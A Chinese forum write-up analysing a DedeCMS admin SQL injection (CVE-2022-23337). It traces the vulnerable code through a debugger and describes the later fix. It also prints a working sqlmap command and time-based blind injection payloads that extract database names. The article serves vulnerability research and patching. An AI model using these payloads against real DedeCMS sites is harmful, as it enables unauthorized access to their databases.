问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
从漏洞通告探索至POC——Dedecms article_coonepage_rule.php SQL注入(CVE-2022-23337)
渗透测试
本文笔者根据CVE官网的一纸通告,分析了Dedecms <v5.7.89的一个未公开POC的sql注入漏洞(CVE-2022-23337),并且经过分析和测试,得出了可用POC。
0x00 漏洞概述 ========= 根据CVE官网的通告,2022年1月18日收录了Dedecms v5.7.87的一个sql注入漏洞,漏洞点存在于`article_coonepage_rule.php`,影响版本为`v5.7.87`。 ![Untitled.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-31f9d1125a4cc8e0282ef5cbdc9859d7e24526ea.png) 有且仅有的一个参考链接已经失效无法访问,估计作者不再公开文章了。经过一番查找,发现网上没有任何相关的poc和文章,于是决定分析一下缘由并构造利用POC。 0x01 环境 ======= 1.1 影响版本 -------- 在官网查看更新日志,发现`v5.7.88`并未有对`article_coonepage_rule.php` 的相关更新描述和补丁,该漏洞在`v5.7.89`才修复 ![Untitled 1.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-189ba0bd6e40535ad38ced7ac3d7565fb8a846d0.png) 往前查看更新日志,直到`v5.7.42`该漏洞文件都未记录有更改,可以下载旧版本的进行复现 1.2 环境搭建 -------- <https://github.com/dedecms/DedeCMS/releases> 笔者下载的是`V5.7.80 UTF-8正式版`,从官方更新日志上看,`v5.7.88`也是可行的。 ```text 复现环境中其他组件版本: PHP 5.6.9nts Apache 2.4.39 MySQL 5.7.26 ``` 解压后访问 `/install`文件夹按照步骤进行安装即可 后台地址:`http://your-ip/DedeCMS-5.7.80/dede/` ![Untitled 2.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-4809369e27f5d1baefcf2b37aad07d14a659549e.png) 0x02 漏洞形成 ========= 2.1 漏洞点 ------- 查看 `/dede/article_coonepage_rule.php` ,搜索 `ids` ![Untitled 3.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-dfe124003c378f5decaafa0d5ccd48fe4a369c67.png) 只存在`$action`为`del`的代码中 ![Untitled 4.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-80aa344b8bcabc90a1e72f3dde842ae0f4c014f7.png) 从以上代码上看是通过传入`id` 从数据库中删除对应的`note` ,判断`$action`为`del`后还有另一个动作,即通过传入的`id`中是否含有逗号来判断是用户操作是单个删除还是多选删除 两种删除的sql语句不尽相同,单个删除的时候用单引号将id括起,多选的时候用括号。目前看来没有对传入的id进行处理便直接拼接,笔者尝试构造请求 ![Untitled 5.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-076b0aff0b184bb07bddb2911221bf859b30c41c.png) 直接盲注没有成功 ![Untitled 6.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7bf1f04ffb75963ba0f618dd5b0608135ec88b31.png) 2.2 远程Debug ----------- DeBug看看后端代码如何执行。 - 用phpstudy和phpstorm远程调试,搭建过程不赘述了,参考网上教程。 - 在如图位置打断点,开启debug侦听,发送payload ![Untitled 7.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-f177d626f32c39b67ae168a3f41df1c2b70c8407.png) ![Untitled 8.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-bea04f4042feabfa17c2ecf2d24eac1526475d22.png) - 首先来到正则匹配判断 ![Untitled 9.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-12205d512fe442b74846be53f34b150fdf413474.png) 可以看到单引号被`addslashes`了,闭合不了 F7跟进到 `\DedeSqli::ExecuteNoneQuery` ![Untitled 10.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-0708ae76f6195625fd7115289553f6a73aa6ddb9.png) 这是一个不返回结果的SQL语句,所以联合注入也不会回显结果 继续跟进到 `Init` 函数,获取数据库连接参数信息 ![Untitled 11.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-84ef8f717cb430f0f8ced45f05aee28edce1a5d8.png) `Open`函数连接数据库 ![Untitled 12.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-c5e1dc94104514b9d682fe19cf54ec38138c8b24.png) 后续判断数据库版本后进入查询,返回 `TRUE`给`Open`函数 ![Untitled 13.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-8b503c88f3084d3a5a38d9e1c205d2c3b2a4be5f.png) 继续步入,跟进 `SetQuery` 函数 ![Untitled 14.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-e5d02d5502addfe2675aa0cd602f066fe3250db2.png) 这一步主要是用配置文件中的数据库前缀(安装cms时指定)格式化代码中的数据表前缀 ![Untitled 15.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7b337bb07a9385780764a3cdd75e4a9a7179a587.png) 接着注意到有一个SQL语句安全检查代码 ![Untitled 16.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7982358a9ed08fd80acdf546ecc63a8537795e80.png) 跳转看看 ![Untitled 17.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-0bf8114fd0616ed409c5fa2665e6592df2578edd.png) ![Untitled 18.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-4d82d59d2841fe0bd344cfaf76e62441c5ed148d.png) 粗略看一下做了很多检查,可以防止绝大多数的sql注入攻击了 遗憾的是,这里的sql语句并没有进到检查,原因是初始化的时候 `$safeCheck` 为 `false` ,并且在此函数中没有赋为 `true` ![Untitled 19.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-af30492537be44510a8a11f61a7251a29275e142.png) 所以直接跳过这段 CheckSql ![Untitled 20.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7a31d7305f25ac67827403a36cd7c4ced0e56dc0.png) 后面一个`ExecTime`函数计算执行时间,`mysqli_query` 函数返回 `false` `ExecuteNoneQuery` 返回 `false` 最后回到 `dede/article_coonepage_rule.php` 查询 `co_onepage` 表中的数据并渲染 ![Untitled 21.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-088e042584f44d99a1b1744bec1c0174fd9ce053.png) 过程中传入id后执行删除操作,页面显示的内容为独立的代码从数据库中查出,用户不可控,所以没有对应的注入回显,只能将思路转到**报错**和**盲注** 0x03 POC构造探索 ============ - 后续试了用宽字节和其他字符对单引号进行闭合都没有成功,但是转念一想,就算能闭合引号,但是长的注入语句一般都会有逗号出现,出现了逗号从后端代码逻辑上来说相当于是多选删除,就进入了另一条用括号包裹的sql语句,也就不需要上一步的闭合引号操作了 3.1 报错注入? --------- 由于是白盒,直接到后台构造报错语句 可以看到这个表有6个字段 ![Untitled 22.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-c725922abc2d9c2bd294d1f6bbfc0b197a0cc101.png) 模仿后端sql语句构造联合查询报错`extractvalue(0x0a,concat(0x0a,(select+database())))` ![Untitled 23.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-aa678d4d31926fe368f041d3258b6cda1b03efc2.png) 试一下发数据 ![Untitled 24.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-a8ba44f5d06206296c3a00566cf2223eb77f4ee7.png) 传入后端语句也是跟在`phpmyadmin`查询时一样的 ![Untitled 25.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-5092530d096ba889404ce43f2a650c5c3d68f10f.png) 可惜并没有报错回显 ![Untitled 26.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-167ae59f56ed62ca40283d992e787acb6ad15db1.png) 3.2 盲注! ------- - 那就试试盲注了,先构造试一下 ```sql ids=(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))ItPM) ``` 结果没有延迟返回 - sqlmap开跑,指定level和注入类型,dump数据库 ```bash python2 sqlmap.py -r ../../dede1.txt -p ids --level 5 --technique T --dbs ``` > 在这之前用的 level2、3、4都没成功,还组合了tamper脚本进行payload编码试图绕过,结果最后发现是要用 **level 5** 才能跑出来 ![Untitled 27.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-7573bb1683c2abcda0e996a45359f154163975eb.png) 最后是用`ELT` 跑出来的盲注 附上验证payload ```sql /DedeCMS-5.7.80/dede/article_coonepage_rule.php?action=del&ids=ELT(3337>3336,SLEEP(5)) ``` 数据库 ```sql ids=ELT(ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS NCHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),1,1))!=116,SLEEP(3)) ``` 其他类推 0x04 修复 ======= 看一下后续版本修复的代码 ![Untitled 28.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-e2777f4e79e33d64a6cd4859859a8f883746121e.png) 将传入的`$ids`转换为变量,防止字符拼接,另外对多选删除部分的代码用 `explode` 函数转换成数组再遍历,将各个值分隔开,防止拼接、闭合等注入 0x05 扩展——payload中涉及到的sql函数 ========================== - **ELT** ```sql 用法: ELT(N,str1,str2,str3,...) ``` 如果N =1返回str1,如果N= 2返回str2,等等。如果参数的数量小于1或大于N,返回NULL。 - ORD ```sql 用法: ORD(str) ``` 如果该`str`是多字节(指的是multi-byte character set即MBCS,字符的大小是可变的;一个MBCS编码包含一些一个字节长的字符,而另一些字符大于一个字节的长度),MySQL ORD() 返回最左边字符的代码。如果最左边的字符不是多字节字符,ORD() 将返回与 ASCII() 函数相同的值。 - MID ```sql 用法: SELECT MID(column_name,start[,length]) FROM table_name ``` MID 函数用于从文本字段中提取字符,`start`起始值为1。 - **DISTINCT** ```sql 用法: SELECT DISTINCT column_name FROM table_name ``` 用于返回唯一不同的值。 - IFNULL ```sql 用法: IFNULL(expression_1,expression_2); ``` `IFNULL`函数是MySQL控制流函数之一,它接受两个参数,如果第一个参数不是`NULL`,则返回第一个参数。 否则,`IFNULL`函数返回第二个参数。 - CAST ```sql 用法: CAST (expression AS data_type) ``` CAST函数用于将某种数据类型的表达式显式转换为另一种数据类型。 0x06 相关链接 ========= [CVE - CVE-2022-23337](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23337) [产品下载 / 织梦 (DedeCMS) 官方网站 - 内容管理系统 - 上海卓卓网络科技有限公司](https://www.dedecms.com/download)
发表于 2022-09-02 09:51:26
阅读 ( 6670 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
3r1cCheng
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!